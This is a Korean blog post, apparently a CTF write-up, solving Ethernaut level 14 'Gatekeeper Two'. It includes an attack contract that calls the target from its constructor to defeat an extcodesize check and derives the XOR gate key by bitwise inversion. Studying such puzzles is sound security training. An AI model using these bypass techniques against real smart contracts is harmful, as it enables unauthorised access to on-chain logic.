entrant에 등록하기.
게이트키퍼 1에서 배웠던 거 써먹고, assembly키워드 extcodesize사용해야 하고, XOR연산자 사용 등등. 가보자.
Gatekeeper Two에서도 One과 마찬가지로 3가지 modifier를 통과해야 한다.
gateOne => 컨트랙트 작성해서 패스 가능
gateTwo =>
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
이런 식인데 extcodesize(caller())가 0 이어야한다.
컨트랙트의 extcodesize가 0이어야한다는 것인데 constructor을 통해서 컨트랙트가 배포되기 전에 진입한다면 가능하다.
gateThree =>
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
^ 는 XOR 비트연산자이다.
그래서
uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) 값과
uint64(_gateKey) 값 중에서 같지 않은 것을 1로 출력한다.
type(uint64).max의 값은 18446744073709551615이다.
18446744073709551615는 16진수(hex)로 바꾸면 FFFFFFFFFFFFFFFF이다.
FFFFFFFFFFFFFFFF는 또 2진수로 바꾸면 1111111111111111111111111111111111111111111111111111111111111111 을 나타낸다.
그러니까 정리해보면 uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))값과 uint64(_gateKey) 값 중에 같은 것이 하나도 없어서 1111 ~ 이 나와서 gateThree를 통과할 수 있다는 말이 된다.
msg.sender는 공격컨트랙트가 될 거니까. 컨트랙트 주소 나온 것을 bytes8(keccak256(abi.encodePacked(msg.sender))) 해서 나온 16진수 값을 2진수로 바꾼 다음 그것과 XOR연산을 해서 모두 1이 나오는 _gateKey값을 구해서 넣어주면 된다.
여기까지 생각하고 컨트랙트 작성.!
그런데 컨트랙트의 constructor에서 실행해야 하기 때문에 주소를 미리 알아서 그것을 처리하기 힘들다.
그랬을 때는 반전 연산자( ~ )를 사용해야 한다.
contract AttackGatekeeperTwo {
constructor(address _gatekeeperTwo){
bytes32 hash = keccak256(abi.encodePacked(address(this)));
bytes8 truncatedHash = bytes8(hash);
uint64 originalValue = uint64(truncatedHash);
uint64 invertedValue = ~originalValue;
bytes8 key = bytes8(invertedValue);
GatekeeperTwo(_gatekeeperTwo).enter(key);
}
}
다른 블로그를 보니까 조금 더 간결하게 작성한 풀이가 있다.
bytes8 myKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1));
이런 식으로 key를 간결하게 구했다.
그런데 블로그에서는 솔리디티 0.6 버전대를 사용하고 있는데 저때는 언더플로우 체크를 자동으로 안 해줘서 에러가 발생하지 않지만
0.8 버전에서는 언더플로우, 오버플로우를 자동으로 체크해주기 때문에 에러가 발생한다. 따라서 0.8 버전에서는 사용할 수 없는 풀이다.
level 14.Gatekeeper Two 코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
'CTF > Ethernaut' 카테고리의 다른 글
[Ethernaut] 16. Preservation (0) | 2024.02.15 |
---|---|
[Ethernaut] 15.Naught Coin (0) | 2024.02.12 |
[Ethernaut] 13.Gatekeeper One (!!hard!!) (0) | 2024.02.09 |
[Ethernaut] 12.Privacy (0) | 2024.02.08 |
[Ethernaut] 11.Elevator (0) | 2024.02.08 |